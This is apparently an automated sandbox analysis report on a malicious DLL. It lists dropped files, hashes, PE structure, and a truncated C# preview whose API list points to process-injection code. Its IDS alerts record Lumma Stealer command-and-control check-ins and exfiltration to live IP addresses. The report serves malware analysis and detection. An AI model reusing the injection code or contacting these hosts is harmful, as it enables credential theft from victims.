SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zribzx3o.hyc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.093040645438358
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryTBYGak7YnqqIBYXPN5Dlq5J:+RI+ycuZhNAGakSRXPNnqX
MD5:	F5CA51FC9523508B1EF469FACB273447
SHA1:	2664BB6F79870A37482C80C6D58AB641D65E8A70
SHA-256:	894ACEFADFD22D49A2FFD39D398EE1BFD62BD77B9DDD0E306139A507D76A63DC
SHA-512:	C5262E179DB92ABDA841FC9077EC1717AE4AD851BCFD42200E63B2FC6E037BCE7E15B20C39F996A5EE87320AB8D58304B18443FE451CE58C2E40BF843412A962
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.z.l.e.s.m.v.i...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...w.z.l.e.s.m.v.i...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.547000581752388
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo66T:2oYLoH97t/Z7pgjvzf5XT
MD5:	FAC8F0E634D8D7975A6EDC045D89AE09
SHA1:	DD06BCC32B91D9635BFA317A5213E3C5EE86D2A0
SHA-256:	6F5BD7F4EE85C3181E111CDC470E434875BADEDC87EFC056B8EDF5CD494FBFB2
SHA-512:	C8D77D5FA969CC6668C25331B5933C8B98DEDEF9C2DD9DA345C3CF89D96C05CC20953486E9185390501245A12AFB5CF9F37C1B627AECE6D797F0F354F6E27CD5
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	204
Entropy (8bit):	4.981572627372863
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2wkn23fskcRxzxszIwkn23fskcRa9n:p37L/6KRfqLQfqmn
MD5:	4502961F20A8F56646955494FA14B9AF
SHA1:	DF394000003DD37C78868284BA45493DC127FBF0
SHA-256:	56213DE7FAFB2C10283CB3EF373FAFF9A0E4B0620B46D4B8F427FB29865D9C47
SHA-512:	637533032C9620223C11738D6E8BA27F1BBC0EB6AFC22548039EF7969036582E6D0B3F0F73DCAEA35CD3E5B26425AF3F06B26074BF47010196228C26AA4617AD
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.0.cs"

C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.627872387962876
Encrypted:	false
SSDEEP:	192:GRH6HN4QhfNQ8q8888yYAdcRjOaYcUxRa95MqBY8eN45f:RNxNc9Oc+a95MqqS5f
MD5:	ACE8EF044737FCF97039852D733F5AE3
SHA1:	213D250E2B344119C40D62611DFF833C37902A39
SHA-256:	82AD91F503399083E2C308F6FF38A236D905FBB4BC5020DE03BDC8FBD2D28757
SHA-512:	E12F101A5BB30896EE5E7AD22ABC63D4D17DC4B8A677B38829AA79A1F30161E15584555E695482B18EF48BDFA1254A540885182025946294F6D64CCBFB350F24
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5og...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	702
Entropy (8bit):	5.218250753632092
Encrypted:	false
SSDEEP:	12:KJN/qR37L/6KRfqLQfqmuKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBqdn6KRfNfOKax5DqBVKVrdFAMBJTH
MD5:	A7819E3DDC559A0431EECB20908A17A8
SHA1:	B1CAF3808FAF629198315EE9CEF0924C709A0F13
SHA-256:	532613AFE6906545190F32CB2FD52BB3DA3B34C9FA276A43AF122335FD58B417
SHA-512:	7B06C6326F23F8B613AC27886F10E21C3BE1E4FD8A2F4ED439C6AD943913643F4B9E904CA53D213113912A056395CD18B5F729D668E1D6306E3A2D022103DBCE
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.121861019873163
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry+6ak7Ynqq1LPN5Dlq5J:+RI+ycuZhNXakSJPNnqX
MD5:	21A83360B4C67E2B7FFD9951F6A04ABE
SHA1:	025455979FBC91A46C05FD812AC6160157E8F64E
SHA-256:	9B6AB46FAE3D09313519765389C6E19D2F81F92E6513254F4E491DD9DD73524C
SHA-512:	5CD47F0250834559201174AAA31AC718D9DEE38B251CBE2FB637F3DEB9D5469F5DBEA23525A05AD3C20455DA4D478F857189E705C67E3BEFD4397C0AB3D056D1
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...x.y.q.5.a.k.b.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...x.y.q.5.a.k.b.p...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.547000581752388
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo66T:2oYLoH97t/Z7pgjvzf5XT
MD5:	FAC8F0E634D8D7975A6EDC045D89AE09
SHA1:	DD06BCC32B91D9635BFA317A5213E3C5EE86D2A0
SHA-256:	6F5BD7F4EE85C3181E111CDC470E434875BADEDC87EFC056B8EDF5CD494FBFB2
SHA-512:	C8D77D5FA969CC6668C25331B5933C8B98DEDEF9C2DD9DA345C3CF89D96C05CC20953486E9185390501245A12AFB5CF9F37C1B627AECE6D797F0F354F6E27CD5
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.085985031413143
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2wkn23fpMZzxszIwkn23fpMEn:p37L/6KRfRMZQfRME
MD5:	2B57CC6CE02A0FE003D45C6F57D9A7DA
SHA1:	B66012F5613C999F2B2FDC0CF7852CA5F8CBC1C8
SHA-256:	F4631C5FB45E114AD547653BACE82F40F123CDE9601BB1B26147312BA6F726E9
SHA-512:	5125B8CDF158B897FC4D3895AF87F50C86E005AA57B5472EF97D18029627BD416887D126392A4FBE40749EBF71A10B72BA6EF37444363E2F66456D64CDA8FF16
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.0.cs"

C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.63185595537278
Encrypted:	false
SSDEEP:	192:GRH6HN4QhfNQ8q8888yYAdYRjOavUxRa95MqBYTeN45H:RNxNY9OA+a95MqvS5H
MD5:	3B544DD59F291106A62C5CA101E23D7B
SHA1:	0AB3C4D9880F5A986BBBE81C249725AD8C2C237C
SHA-256:	8DF2F1DD4D1E0F478D9CCF9A68382ECB0EAE49FF266636D8AABBB05231BAC6BB
SHA-512:	59473DC8EE71614D2D16691E5D4DEAFA78722167F614EE18ADCBAF043B87582C2677A0983892F2D7E849DC48EB071090D326EC1709337BE91F338B7B165679A4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5og...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	702
Entropy (8bit):	5.278197588577375
Encrypted:	false
SSDEEP:	12:KJN/qR37L/6KRfRMZQfRMRKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBqdn6KRfFf2Kax5DqBVKVrdFAMBJTH
MD5:	3A53923E12A627E26752D5DC61D86A01
SHA1:	DB1FF4322408C5E08B3C4D607B6183FD3AD72EEE
SHA-256:	DA180690D5070D1B0D30F115E2465C006A82BC81BDC81DF36929080A4B8C0098
SHA-512:	83721FD3205675604CD923A33D0D08108CB0D78DDB9B66078A66767753D5D59B42BA513D5FD69D580C8D689BB6FBE57E13C4DCA41F421BAFEA6C63DF8F3C8EC4
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.357910407078851
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iviewers.dll
File size:	93'184 bytes
MD5:	690a4c9693ad790d6ee23492fe8bf869
SHA1:	da39c94f65a34f2f2a72c6b2799f7d991a8c38d8
SHA256:	320db923b7c701a6005e465a082ad48c2f3c8f36145ece15b4980a44202383fe
SHA512:	17b3d9986e3e361f53ab69c35ab90412b93d2a53e1b5d0bd86bec7fb44af45d67f8c47acf03091285d2bed3952b5b72e986e949dbad9b130cad90bafd5671833
SSDEEP:	1536:riUKaJeTUBp7KGhioxKLpBbIrta1Z9PvoNkM/6Mox/j1k+sWlzMcdbvcUCZ2M:rioJ9MGQoIHbvZ93oNkXjuQzNbvcUCZ2
TLSH:	16935A11B5D1C071E6BF193E08649AB48B3FB810DF61ADEB279416AE4F302C1DE35D6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..L...L...L....h..G....h.......h..X....h..O...L........e..\....e..X....e..n....e..M....e..M....e..M...RichL..................

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1000206a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x676B4EEE [Wed Dec 25 00:16:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3be2261fa076757c8bb359470b1d32fd

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FF89C8285D7h
call 00007FF89C828798h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FF89C828483h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FF89C8280F5h
push 10015694h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FF89C82948Eh
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FF89C82799Dh
push 10015620h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FF89C829471h
int3
jmp 00007FF89C82BAB6h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [10010004h]
push dword ptr [ebp+08h]
call dword ptr [10010000h]
push C0000409h
call dword ptr [10010008h]
push eax
call dword ptr [1001000Ch]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [10010010h]
test eax, eax
je 00007FF89C8285D7h
push 00000002h
pop ecx
int 29h
mov dword ptr [10017A50h], eax
mov dword ptr [10017A4Ch], ecx
mov dword ptr [10017A48h], edx
mov dword ptr [10017A44h], ebx
mov dword ptr [10017A40h], esi
mov dword ptr [10017A3Ch], edi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x15ce0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15d30	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x19000	0xfdc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x14f3c	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x14f58	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe9ae	0xea00	6b6083b0a808e39361dec305fd766524	False	0.603248530982906	data	6.56645402014901	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x63be	0x6400	33504ca0b477cfca5e9bae28b9295a2d	False	0.4229296875	zlib compressed data	4.935023894243395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x1378	0xa00	940950c6b85fb08d5f90d2d612f17f8c	False	0.16953125	data	2.396097838960016	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x19000	0xfdc	0x1000	c3938240bf6031ca233ad2a21bc5c3d2	False	0.777099609375	data	6.484463515997174	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, WriteConsoleW, RaiseException, InterlockedFlushSList, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapFree, CloseHandle, WaitForSingleObject, GetExitCodeProcess, CreateProcessW, GetFileAttributesExW, HeapAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, CompareStringW, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, HeapSize, HeapReAlloc, SetStdHandle, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, DecodePointer

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10001000

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T22:32:58.287929+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49732	149.154.167.220	443	TCP
2024-12-27T22:32:58.346022+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49731	149.154.167.220	443	TCP
2024-12-27T22:32:58.367886+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49730	149.154.167.220	443	TCP
2024-12-27T22:33:00.345165+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49733	149.154.167.220	443	TCP
2024-12-27T22:33:10.318916+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	147.45.44.131	80	192.168.2.4	49741	TCP
2024-12-27T22:33:13.149207+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:13.151135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:13.174962+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:13.917198+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:13.917198+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:14.145093+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:14.145093+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:14.156465+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:14.156465+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:15.295801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	104.21.60.24	443	TCP
2024-12-27T22:33:15.632826+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:15.637538+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:15.736647+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	104.21.60.24	443	TCP
2024-12-27T22:33:16.406176+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:16.406176+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:16.410276+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:16.410276+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:16.504808+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49752	104.21.60.24	443	TCP
2024-12-27T22:33:16.504808+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49752	104.21.60.24	443	TCP
2024-12-27T22:33:17.800514+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49755	104.21.60.24	443	TCP
2024-12-27T22:33:18.118672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49757	104.21.60.24	443	TCP
2024-12-27T22:33:18.579172+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49755	104.21.60.24	443	TCP
2024-12-27T22:33:18.579172+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49755	104.21.60.24	443	TCP
2024-12-27T22:33:20.468696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49759	104.21.60.24	443	TCP
2024-12-27T22:33:21.291774+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49759	104.21.60.24	443	TCP
2024-12-27T22:33:22.642716+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49761	104.21.60.24	443	TCP
2024-12-27T22:33:25.368007+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49762	104.21.60.24	443	TCP
2024-12-27T22:33:25.371664+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49763	104.21.60.24	443	TCP
2024-12-27T22:33:27.646795+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49764	104.21.60.24	443	TCP
2024-12-27T22:33:27.726911+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	104.21.60.24	443	TCP
2024-12-27T22:33:30.225396+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49766	104.21.60.24	443	TCP
2024-12-27T22:33:31.355502+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49767	104.21.60.24	443	TCP
2024-12-27T22:33:32.419887+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49767	104.21.60.24	443	TCP
